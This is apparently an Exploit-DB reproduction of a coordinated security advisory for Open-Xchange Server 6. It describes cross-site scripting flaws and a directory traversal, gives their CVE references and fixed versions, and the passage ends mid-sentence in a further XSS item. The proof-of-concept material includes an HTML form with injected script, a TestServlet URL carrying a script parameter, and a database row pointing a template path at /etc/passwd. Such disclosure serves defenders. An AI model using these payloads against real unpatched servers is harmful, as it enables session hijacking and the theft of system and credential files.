Exploit-DB #24791
Description: Open-Xchange Server 6 - Multiple Vulnerabilities
Type: webapps
Platform: java
Date: 2013-03-15
Author: Martin Braun

Exploit:
Multiple security issues for Open-Xchange Server have been discovered and fixed. The vendor has chosen responsible full disclosure to publish security issue details. Users of the software have already been provided with patched versions.

Proof regarding authenticity can be obtained from the published release notes:
http://software.open-xchange.com/OX6/6.20/doc/Release_Notes_for_Public_Patch_Release_1310_6.20.7_Rev14_2013-02-28.pdf
http://software.open-xchange.com/OX6/6.22/doc/Release_Notes_for_Public_Patch_Release_1311_6.22.0_Rev13_2013-02-28.pdf
http://software.open-xchange.com/OX6/6.22/doc/Release_Notes_for_Public_Patch_Release_1312_6.22.1_Rev14_2013-02-28.pdf


Product: Open-Xchange Server 6
Vendor: Open-Xchange GmbH

Internal reference: 24553, 24765
Vulnerability Type: Cross Site Scripting
Vulnerable Versions: 6.22.1-rev13 and earlier
Fixed Version: 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14
Solution Status: Fixed by Vendor
Vendor Notification: 2013-01-21
Solution date: 2013-02-28
Public Disclosure: 2013-03-13
CVE Reference: CVE-2013-1646
CVSSv2: 4.5 (AV:L/AC:H/Au:S/C:P/I:P/A:N/E:P/RL:U/RC:C/CDP:LM/TD:H/CR:ND/IR:ND/AR:ND)

Vulnerability Details:
Since user input is not fully sanitized, carefully crafted content gets returned as JS code which can be used to execute arbitrary JS code at the users context.

Risk:
When the POST request gets executed and returns an error, the embedded JS code of the original POST request gets executed.

Steps to reproduce:
1. Generate a POST request that breaks the JSON string while sending an E-Mail
2. Within that request, embed some JS code

Proof of Concept:
<html>
<head>
<title>PoC for Bug 24553 CVE-2013-1646</title>
</head>
<body>
  <form action="https://ox.example.com/ajax/mail?action=new&session=158f81fc344349ecaf638259a4301028" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="json_0" value="{"from":"Joe Doe <jdoe@ox.example.com>","to":"Joe Doe <jdoe@ox.example.com>","cc":"","bcc":"","subject":"aaaa","priority":"3","attachments":[{"content_type":"TEXT/HTML","content":"<html><body style=\u0022\u0022><div>ABCD</div>\u000a<div>&#160;</div></script>
<script>alert(String.fromCharCode(88,83,83,32,98,121,32,105,116,46,115,101,99))</script>
<pre onsubmit=""/><div>ABCD</div></body></html>"}],"datasources":[]}" />
    <input type="submit" value="Submit form" />
  </form>
</body>
</html>

Solution:
Users should update to the latest patch releases 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14.

***********************

Internal reference: 24649
Vulnerability Type: Directory Traversal/Local File Inclusion
Vulnerable Versions: 6.22.1-rev13 and earlier
Fixed Version: 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14
Solution Status: Fixed by Vendor
Vendor Notification: 2013-01-21
Solution date: 2013-02-28
Public Disclosure: 2013-03-13
CVE Reference: CVE-2013-1645
CVSSv2: 7.4 (AV:N/AC:M/Au:S/C:C/I:N/A:N/E:P/RL:U/RC:C/CDP:MH/TD:H/CR:ND/IR:ND/AR:ND)

Vulnerability Details:
Adding a forged file path the the publication template path allows remote path traversal and file disclosure when accessing the publication. Setting the path is possible by forged HTTP requests as well as modifying the database entry.

Risk:
This vulnerability can be used to disclose all locally readable files (e.g. database configuration, password, network settings) to the user or an external attacker that used other techniques to forge such a publication.

Steps to reproduce:
1. Set ./../../../../../../../../etc/passwd as "template" file and store the publication
2. Call the publication

Proof of Concept:
This can be reproduced by manually altering a database entry or using a forged request to create a publication using a malicious template path.
mysql> select * from genconf_attributes_strings;
+-----+----+----------+--------------------------------------+
| cid | id | name     | value                                |
+-----+----+----------+--------------------------------------+
|  10 |  2 | template | ./../../../../../../../../etc/passwd |
|  10 |  2 | secret   | cb77e491d73940f2c33736edf27a7d81     |
|  10 |  2 | siteName | moep                                 |
+-----+----+----------+--------------------------------------+

Solution:
Users should update to the latest patch releases 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14.

***********************

Internal reference: 24650
Vulnerability Type: Cross Site Scripting
Vulnerable Versions: 6.22.1-rev13 and earlier
Fixed Version: 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14
Solution Status: Fixed by Vendor
Vendor Notification: 2013-01-21
Solution date: 2013-02-28
Public Disclosure: 2013-03-13
CVE Reference: CVE-2013-1646
CVSSv2: 7.1 (AV:N/AC:L/Au:N/C:P/I:P/A:N/E:P/RL:U/RC:C/CDP:LM/TD:H/CR:ND/IR:ND/AR:ND)

Vulnerability Details:
The TestServlet (/servlet/TestServlet) can be used to execute arbitrary javascript code in context of the OX URL. The servlet returns all provided parameters as a HTML status page that does not get correctly sanitized.

Risk:
Javascript code gets executed in context of the OX URL without any prior authentication.

Steps to reproduce:
1. Execute a GET request at the TestServlet with a parameter that contains JS code

Proof of Concept:
Call http://ox.example.com/servlet/TestServlet?foo=<script>alert('xss')</script>

Solution:
Users should update to the latest patch releases 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14.

***********************

Internal reference: 24651
Vulnerability Type: Cross Site Scripting
Vulnerable Versions: 6.22.1-rev13 and earlier
Fixed Version: 6.20.7-rev14, 6.22.0-rev13, 6.22.1-rev14
Solution Status: Fixed by Vendor
Vendor Notification: 2013-01-21
Solution date: 2013-02-28
Public Disclosure: 2013-03-13
CVE Reference: CVE-2013-1646
CVSSv2: 5.7 (AV:L/AC:L/Au:S/C:P/I:P/A:P/E:P/RL:U/RC:C/CDP:LM/TD:H/CR:ND/IR:ND/AR:ND)

Vulnerability Details:
Entering javascript code to the